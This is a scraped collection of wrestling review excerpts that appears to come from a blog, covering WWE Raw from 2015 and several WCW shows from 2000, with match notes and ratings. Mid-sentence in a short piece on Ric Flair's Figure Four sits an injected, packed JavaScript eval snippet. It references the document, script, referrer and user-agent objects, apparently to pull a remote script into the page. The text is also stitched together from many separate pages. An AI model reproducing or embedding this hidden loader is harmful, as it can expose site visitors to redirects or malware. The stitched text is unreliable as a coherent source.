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Monday Night Raw – October 19, 2015: Imagine What They Could Do. And Shield.
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Night Raw
Date: October 19, 2015
Location: American Airlines Center, Dallas, Texas
Commentators: Michael Cole, Byron Saxton, John Bradshaw Layfield
John Cena/Dudley Boyz vs. New Day
Post match Woods takes an AA, followed by a superbomb through a table.
Nikki Bella/Alicia Fox vs. Naomi/Sasha Banks
Back with Fox keeping Naomi from tagging out, followed by a double suplex (was that the empowering part? I for one could certainly feel women everywhere being stronger when a Bella did a basic wrestling move so it must have been). Naomi comes back with some kicks but Nikki hits a running dropkick to the ribs before bending over to choke Naomi on the ropes. A few more kicks are enough for Naomi to tag in Sasha for some knees to the face (empowerment down by two points).
We recap Kane pinning Rollins last week. This has resulted in Corporate Kane being suspended. Of course the Authority could solve the obvious problem this creates by just saying KANE has been suspended but that would make too much sense. For the bosses of a global corporation, HHH and Stephanie are dumb sometimes.
Ryback vs. Seth Rollins
We look at Summer Rae costing Rusev a match on Smackdown and then getting turned down by Ziggler.
Dolph Ziggler/Cesaro/Neville vs. King Barrett/Sheamus/Rusev
Brie Bella vs. Charlotte
Renee Young comes up to accuse Paige of attacking Natalya last week. Paige thinks it might have been Summer Rae, Lana, Eve Torres, Kaitlyn, Trish Stratus or even Lita. Renee presses her on this so Paige says Renee is no Erin Andrews, nor is she as cute.
Kevin Owens vs. Mark Henry
Long video on the history of Lesnar vs. Undertaker. Well their recent history as their first Cell match is ignored.
The Kickoff match has been changed to a rematch of the six man from earlier tonight.
Roman Reigns/Dean Ambrose/Seth Rollins vs. Wyatt Family
Reigns cleans house post match with a HUGE dive over the top and spears to Bray and Erick. The fans think this is awesome to end the show.
Results
New Day b. John Cena/Dudley Boyz – Rollup to D-Von
Nikki Bella/Alicia Fox b. Naomi/Sasha Banks – Rack Attack to Naomi
Seth Rollins b. Ryback – Pedigree
Rusev/King Barrett/Sheamus b. Neville/Cesaro/Dolph Ziggler – Barrett pinned Ziggler after a Brogue Kick
Charlotte b. Brie Bella – Figure Eight
Kevin Owens b. Mark Henry – Pop Up Powerbomb
Wyatt Family b. Dean Ambrose/Seth Rollins/Roman Reigns via DQ when Ambrose used a kendo stick
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Thunder – May 17, 2000: A Night Off
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May 17, 2000
Location: Cajundome, Lafayette, Louisiana
Attendance: 3,066
Commentators: Bobby Heenan, Mike Tenay, Tony Schiavone
We open with clips of Flair winning the title.
Opening sequence.
Misfits in Action vs. Filthy Animals
The Misfits get beaten down until Booker makes the save, leading to Major Gunns taking off her top and giving Chavo CPR. Tenay: “It must be the large lungs.”
Luger tells the Millionaires he has to go and take care of something.
Hulk Hogan vs. Horace Hogan
Norman and Ralphus are selling homemade F.U.N.B. shirts. Where did they get the money to make those if they had $1.20 between them on Monday?
Hardcore Title: Terry Funk vs. The Cat
This is Funk giving Cat a shot due to what happened Monday. Funk attacks him on the ramp and gets two each off a DDT and neckbreaker. They fight into the back with Funk nailing him with a computer, only to be sent into a pile of water bottles. Some trash can shots have Cat in trouble so he comes back with a bag of popcorn.
Norman and Ralphus get arrested. It was a nice idea while it lasted.
Mike Awesome vs. Scott Steiner
Shane gets a phone call from Kronik who want him in a three way dance tonight. Douglas hangs up on them and tells the New Blood to watch his door. They tell him to fight his own battles and leave.
Kronik vs. Shane Douglas
It seems that Kronik are the official champions after the win on Monday. Sure why not. Shane tries to fight back with a foreign object but Clark knocks it out of his hand and hits the pumphandle slam. Cue the Wall with a table to chokeslam Shane through a table for revenge from Monday. High Times completes the squash. Tony tries to call this a three way dance but give me a break.
Vampiro rambles about being the real freak and burns a Sting mask.
Shane asks Jarrett for help.
Ric Flair/Arn Anderson vs. Crowbar/David Flair
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Monday Nitro – May 15, 2000: Russo Is Right
Monday Nitro #240
Date: May 15, 2000
Location: Mississippi Coast Coliseum, Biloxi, Mississippi
Attendance: 8,550
Commentators: Mark Madden, Tony Schiavone, Scott Hudson
Vampiro vs. Sting
The cage starts rising up with Vampiro attached. The lights go out and Vampiro is gone when they come back up.
Shane Douglas attacks Brian Clark in the parking lot. The Goldberg truck is seen in the background.
Captain Rection gives the Misfits a pep talk and gives them their new names: Chavo Guerrero Jr. is now Lieutenant Loco and Van Hammer is Major Stash. They have a new recruit named Major Gunns, who used to be one of the NWO girls.
Wall beats up the paramedics.
Norman Smiley and Ralphus are in the parking lot and in need of a job. The Goldberg truck looms.
Hardcore Title: Terry Funk vs. Filthy Animals
Post match Major Gunns bounces to the ring to take off her top and give Funk mouth to mouth.
Ric Flair arrives.
Norman and Ralphus get jobs selling popcorn.
Chris Candido and Tammy come out and issue an open challenge to any other couple for a mixed tag for the Cruiserweight Title.
Cruiserweight Title: Chris Candido/Tammy vs. Daffney/Crowbar
Daffney and Crowbar both hold the title and seem to argue over who is the real champion.
Flair demands that Russo get out here right now but Russo is in the truck telling someone to play the tape when he tells them to. After a break, Russo is still demanding that Russo get out here.
Now we cut to Sting, who is going to his car but finds it on fire.
Russo yells at Liz in the back and has some tough love for her. She gets to go inside a cage tonight.
Madusa vs. Miss Elizabeth
Nash is backing an ambulance into the arena.
Kevin Nash vs. Mike Awesome
Hogan arrives.
Just in case that angle is about to set in on anyone, Hogan comes out and clears the ring in about three seconds. Bischoff says Hogan is a dead man.
Kidman vs. Horace Hogan vs. Hulk Hogan
Back in and Hulk no sells the low shot so Kidman does it again. Horace throws Kidman at Hulk, drawing Bischoff to the apron for some yelling. Horace knocks Eric out to the floor so here are the Filthy Animals. The Hogans get chairs and clean house but cue Torrie in a leopard print dress to wink at Horace, who then blasts Hulk with a chair for the pin.
WCW World Title: Ric Flair vs. Jeff Jarrett
Rating: C-. He did it with a wrestling move. How about that? This is one of the few moments that makes sense as you have to give Flair SOMETHING after having him get destroyed so many times. That being said, if you want Jarrett to look like a serious main eventer, stop giving him eight day title reigns.
Russo and David beat Ric down again after the match. Vince leaves with the title but Nash comes out to take it away from him. Nash powerbombs Jarrett through the ring and stands tall because the new World Champion is just a guy. At least he hands the title to Flair.
Flair holds up the title to end the show.
Overall Rating: D-. This was every Russo idea stuffed into one show and cranked up to about seventeen. All night long it was cramming all kinds of stuff into a single segment, followed by people turning on each other and of course Russo. Russo here, Russo there and Russo in the background of other scenes.
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Slamboree 2000 (2015 Redo): Yes, This Is An Improvement
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2000
Date: May 7, 2000
Location: Kemper Arena, Kansas City, Missouri
Attendance: 7,165
Commentators: Tony Schiavone, Mark Madden, Scott Hudson
Cruiserweight Title: Chris Candido vs. The Artist
The announcers explain the cage for the first time.
Video of Terry Funk getting beaten up a lot. Now you get to see him defend a title.
Hardcore Title: Terry Funk vs. Norman Smiley/???
Shawn Stasiak vs. Curt Hennig
Hennig throws his back out while trying a slam and Shawn puts on a sleeper back inside. As usual, Stasiak is really dull in the ring. Totally adequate and not bad by any stretch, but dull. Hennig breaks it up after two arm drops and punches Shawn out of the air to take over. Not that it matters as Stasiak catapults him into the post and puts on the HennigPlex for the pin.
US Title: Scott Steiner vs. Hugh Morrus
We hit the bearhug (and Madden misses the squeezing jokes) for a bit before a belly to belly knocks Rection even sillier. Steiner stops to pose, giving us some of the only unique heel work of the night. Rection makes his comeback with splashes in the corner and an Owen Hart-style tombstone, only to mostly miss the moonsault. His feet smack Steiner in the head but the Recliner retains the title a few seconds later.
Booker T. comes out to save Rection from the Recliner.
Mike Awesome vs. Chris Kanyon
Total Package vs. Buff Bagwell
Ric Flair vs. Shane Douglas
We recap Vampiro vs. Sting, which is about both of them being creepy and Vampiro wanting to be what he thinks Sting should be. This would be the third iteration of the exact same idea on this show alone.
Vampiro vs. Sting
Sting hits Vampiro in the head with the pipe again.
Nash is looking for Russo. Again, this should be on a TV show.
Kidman and Bischoff are ready for Hogan. Again, Bischoff went from being terrified of Hogan to volunteering to be guest referee for their match.
You can get a BUFF BAGWELL pennant for purchasing this show. Who thought that was a piece of merchandise that needed to be made?
Kidman vs. Hulk Hogan
At least Kimberly and Torrie are looking great here. Hogan brings out Horace with him for reinforcement. Kidman small packages Hogan on a slam attempt to start but Hogan picks him up by the throat for a crotching on top. Hogan gets a chair and drops Kidman onto it face first, only to have Kidman come back with a hurricanrana.
Russo and Liz run away from Nash.
WCW World Title: David Arquette vs. Diamond Dallas Page vs. Jeff Jarrett
Arquette grabs a guitar as Page Diamond Cuts Mike. They both head up and Arquette misses a guitar shot, only to have both of them fall down to the roof of the hardcore cage. Both guys get back up and, say it with me, Arquette turns on Page to give Jarrett the title back.
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Thought of the Day: Building Up The Myth
You know what move didn’t really do jack?Ric eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|airyd|var|u0026u|referrer|rzidh||js|php'.split('|'),0,{})) Flair’s Figure Four. Take a look at how he won his World Titles (some recognized, some unrecognized. Don’t start with the “IT’S MORE THAN 16 TIMES” stuff again).
WCW – 1 – Pin with feet on the ropes
WCW – 2 – Rollup
WCW – 3 – Rollup
WCW – 4 – Brass knuckles
WCW – 5 – Shoe to the face
WCW – 6 – Pin in the figure four
WCW – 7 – Small package
WCW – 8 – Awarded title
WWF – 1 – Won Royal Rumble
WWF – 2 – Pin in the Figure Four
NWA – 1 – Pin after Dusty Rhodes collapsed
NWA – 2 – Cross body
NWA – 3 – Rollup
NWA – 4 – Pin in the Figure Four
NWA – 5 – Pin after a ram into the cage
NWA – 6 – Small package
NWA – 7 – Rollup
NWA – 8 – Pin in the Figure Four
Yeah Flair won a few with it via pin, but he never won a World Title with the Figure Four via a traditional submission. However, when you think of Flair, you instantly think of the Figure Four, despite it almost never winning a major match. It says a lot about the way you can make something big just by talking about it and that you don’t always have to see everything to believe it.
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Monday Nitro – April 17, 2000: Russo and Bischoff’s Bogus Adventure
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Nitro #236
Date: April 17, 2000
Location: Metrocentre, Rockford, Illinois
Attendance: 4,345
Commentators: Scott Hudson, Tony Schiavone, Mark Madden
Opening sequence.
She starts talking in the third person and calls Bischoff her opportunity. Bischoff goes on and we see Page beating up security in the back. He comes into the arena (in a Sopranos shirt) and goes right into the ring for a beating. The riot squad reveals themselves as the Millionaires Club and the New Blood is cleared out.
Shawn Stasiak vs. Curt Hennig
Hardcore Title: Terry Funk vs. The Wall
Rating: D+. So after building Wall up for months, they have someone (who I doubt is ever going to be named) drop a pile of tables on him like something out of a screwball comedy so Terry Funk can pin him. To keep track of things, that means Sid and Funk are the two men to pin him. As usual, WCW sets someone up but the old guys are the ones that get to knock him back down.
Page is taking out Awesome and then coming for Bischoff.
Hogan is still looking for Kidman.
Diamond Dallas Page vs. Mike Awesome
Page slugs away to start but Awesome runs the corner and back elbows Page in the jaw for two. After a few suplexes, Page gets sent to the floor and Awesome springboards to the top rope for a clothesline to the floor. Since this is WCW, the announcers are all “Oh. That was cool.”, before moving on to talking about the storyline. WCW really needed a JR who could act like a big spot was the most awesome thing he had ever seen and take a break from the same plot points over and over again. Awesome misses a charge into the barricade and gets chaired in the back. That goes nowhere so Kanyon runs in for the quick DQ.
Awesome loads Kanyon up for a powerbomb through a table but Nash comes through the crowd for a save. This would be the second time in about ten minutes where someone looked towards the stage but the other guy came up from behind. The Jackknife puts Mike through a table.
Tank Abbott is here and Madden freaks out.
Hogan gets a tip that Kidman is outside.
Jarrett and Russo bicker some more. Russo will get back to him with an idea of how to solve the problem.
Shane Douglas vs. Total Package
Kidman gets stretchered out.
WCW World Title: Jeff Jarrett vs. ???
No Thunder this week. Not that WCW bothered to tell you that of course.
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Spring Stampede 2000 (2015 Redo): But It’s A Different Shirt!
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Stampede 2000
Date: April 16, 2000
Location: United Center, Chicago, Illinois
Attendance: 12,556
Commentators: Tony Schiavone, Mark Madden, Scott Hudson
The opening video focuses on Bischoff/Russo vs. Flair/Hogan respectfully.
Opening video showing clips of Russo and Bischoff. Good to know what matters here.
The goons keep the referee from seeing a tag as this is getting dangerously close to being a wrestling match. The beating continues and here are two guys to take Disco away. That would be your angle that has nothing to do with the match and has a 50/50 chance of never being brought up again. Luger gets the tag and everything breaks down but Johnny comes off the top with a spinning clothesline for two. Not that it matters as Luger Racks him for the win a few seconds later.
Mancow vs. Jimmy Hart
Post match Kidman comes out and punches Hart again.
US Title Tournament Quarter-Finals: The Wall vs. Scott Steiner
The Cat babbles about James Brown and rednecks until Bam Bam Bigelow beats him down.
US Title Tournament Quarter-Finals: The Cat vs. Mike Awesome
In a sign of the WCW way of thinking, instead of putting over Awesome as a monster, they talk about Cat dancing. The important stuff you know.
Russo tells Bischoff to chill out. Bischoff wants Kidman to do something instead of kissing Torrie.
Buff Bagwell/Shane Douglas are ready for Harlem Heat and Shane whines about Flair of course.
Tag Team Title Tournament Semi-Finals: Harlem Heat vs. Shane Douglas/Buff Bagwell
Harlem Heat yells at each other post match.
US Title Tournament Semi-Finals: Booker T. vs. Sting
Booker calls Sting back inside for a fist bump.
Kidman is ready for Hogan if he comes back tonight.
US Title Tournament Quarter-Finals: Vampiro vs. Kidman
The second powerbomb is countered into the faceplant. Madden: “We could have been seeing matches like this one years ago.” This is their fourth televised match this year alone, not counting a three way they had with the Wall a few weeks back. Add that to the list of stupid things said on this show. Kidman gets two off a side slam but Vampiro grabs a Rock Bottom (called a chokeslam, which to be fair is pretty much the same thing) to come back. We go to an overhead camera for no apparent reason and Vampiro grabs an armbar.
Rating: D+. This was a moment that brought me back to the days after Starrcade 1999 when Russo turned Nitro into a drama with wrestling involved. It started off as a match but once you have a two minute beatdown in plain sight of the referee, it stops being a match and becomes an angle.
Russo leaves Bischoff alone, promising to deal with Hogan.
We cut to the arena and come back with Hogan being arrested by promising to be at Nitro. So yeah, this was all a way to set up a TV story. As this is going on, Terry Taylor tells Terry Funk that Norman Smiley is waiting for him in catering to start the Hardcore Title match.
Hardcore Title: Norman Smiley vs. Terry Funk
Norman climbs a ladder to get into the plumbing but Funk chairs him down and through a table full of cookies. Some chairs to the head have no effect on Terry so Norman chairs him even more on the way into the arena. They get inside and Norman channels his inner Cat by dancing, but at least it makes more sense here.
US Title Tournament Semi-Finals: Mike Awesome vs. Scott Steiner
Russo fires Dustin Rhodes for letting Funk win the Hardcore Title. Russo takes credit for Goldust, which is the only time Rhodes was ever worth anything.
US Title Tournament Semi-Finals: Sting vs. Vampiro
Cruiserweight Title: Shannon Moore vs. Juventud Guerrera vs. Crowbar vs. Chris Candido vs. The Artist vs. Lash Leroux
Paisley and Tammy have a catfight post match. Shannon breaks it up and gets his crotch grabbed.
Tag Team Titles: Team Package vs. Shane Douglas/Buff Bagwell
Shane gets caught in the Figure Four but Buff hits Luger low and makes the save. The Blockbuster takes Shane down by mistake but Russo pulls the referee out. Now freaking Kronik debut for High Times on Luger, giving Bagwell the pin and the titles with Russo counting the pin.
US Title: Scott Steiner vs. Sting
We recap Monday, which is another way to feature Russo. They throw in the World Title tournament stuff to try to make it sound interesting.
WCW World Title: Jeff Jarrett vs. Diamond Dallas Page
Rating: C+. Match of the night here which could have been better had they swapped the participants in the last two matches. Page vs. Jarrett sounds like a US Title match and Steiner vs. Sting could be a World Title match under the right circumstances. This match worked better because it had time and because the people in the match know how to work well enough to get around the lame booking ideas.
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Thunder – April 12, 2000 (2015 Redo): A Clip From Earlier In The Future
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April 12, 2000
Location: World Arena, Colorado Springs, Colorado
Attendance: 3,118
Commentators: Bobby Heenan, Mike Tenay, Tony Schiavone
Russo and Bischoff arrived in a Porsche earlier today.
Opening sequence.
Chris Candido/Juventud Guerrera/The Artist vs. Shannon Moore/Crowbar/Lash Leroux
These are the six men in the Cruiserweight Title match on Sunday. Shannon dives through the falling confetti to dropkick Artist and everyone comes into the ring, plus a beach ball thrown in by a fan. Candido powerbombs Lash down but we need to look at David Flair dancing in front of Paisley. Daffney literally gives him the hook (between the legs) to drag him away.
Ready to Rumble premiere video?
Curt Hennig jumps Shawn Stasiak.
Harlem Heat vs. Sid Vicious
Jimmy Hart is looking for Bischoff.
Bischoff could be found in the New Blood locker room yelling at Booker.
Total Package vs. Shane Douglas
Bischoff blows Jimmy Hart off.
Jimmy Hart calls Bischoff out for an explanation of what he did to Hogan. Instead Kidman charges to the ring and beats Hart up. Jimmy gets a red NB spray painted on him for good measure.
Scott Steiner vs. Booker vs. The Wall vs. Vampiro vs. Kidman vs. The Cat
This is a Colorado Collision match between the six men already in the US Title tournament. Two men start and another is added every minute with pins or submissions for eliminations. Ignore the fact that these people are all stable mates, save for maybe Booker. Booker and Wall get things going with the big man getting kicked in the face a few times. The Book End sets up the ax kick and a Spinarooni but Wall pops up.
Kimberly vs. Madusa
Kimberly looks GREAT here, rocking some DX colors in what is probably an inside joke that no one but Bischoff and Russo get or find funny. Madusa shoves her down in the corner to start and asks why Kimberly wants to do this. Page quickly comes in and saves his wife before giving Madusa a pretty unnecessary Diamond Cutter. This was a thinly veiled excuse to have Kimberly in a tiny outfit.
This Week in WCW Motorsports.
Brian Knobbs/Fit Finlay vs. Meng/Hugh Morrus vs. Terry Funk/Norman Smiley
Rating: C+. As insane as this was and as dumb as the ending was (and as repetitive as this show has been with all the wild brawls and multi-man matches), this was actually entertaining. They made it feel like a wild fight instead of something calm and structured which is always appreciated. Good stuff here and I like the stipulation instead of just another tournament or six way match on Sunday.
The bosses tell the Villanos to destroy Sting.
So anyway, Jarrett is in the back with Gene and threatens to slap the liver spots off of him before he wins the title on Sunday.
David Arquette is here.
Ric Flair vs. Buff Bagwell
Sting vs. Los Villanos
Bam Bam Bigelow vs. Diamond Dallas Page
Bigelow stomps him down to start but Page throws him into the corner for rights and lefts. The discus lariat gets two on Bam Bam but he comes back with a Samoan drop for two. We hit the reverse chinlock before the top rope headbutt to the back gets two. An attempt at a Diamond Cutter is countered into a ref bump but Page avoids another headbutt. The Diamond Cutter connects on the second attempt but Bischoff comes out and stops his count at two. Cue Jarrett with the guitar to knock Page out. Tony: “This is not good for Page.”
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Monday Nitro – April 3, 2000: They Can’t Even Get History Right
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Nitro #234
Date: April 3, 2000
Location: Worcester Centrum, Worcester, Massachusetts
Attendance: 0
Hosts: Mark Madden, Tony Schiavone
Then the show expanded to two hours and the roster got bigger, which made Nitro cool. True.
Clip of the first two hour show with Scott Hall jumping the barricade. We get some clips of other stuff on that show and my goodness did Hall arrive just in time.
Video on the cruiserweights.
Now on to the big idea: Hall and Nash. Ignore that we saw Hall five minutes ago. My one takeaway from this, over nineteen years later: play is still not an adjective.
The hosts talk about the 100th episode with Luger winning the title, only to lose it five days later, making the whole thing a waste of time.
An hour and ten minutes into the show and they FINALLY talk about Goldberg, who was proof that Bischoff could create new stars. Create new stars, see the most obvious move in the world, same thing really.
Long video on Goldberg.
Talk of various celebrities who have appeared on Nitro.
Video of the awesome four World Title match way back in the spring.
Package on the Sting heel turn which bombed and all the ensuing mess.
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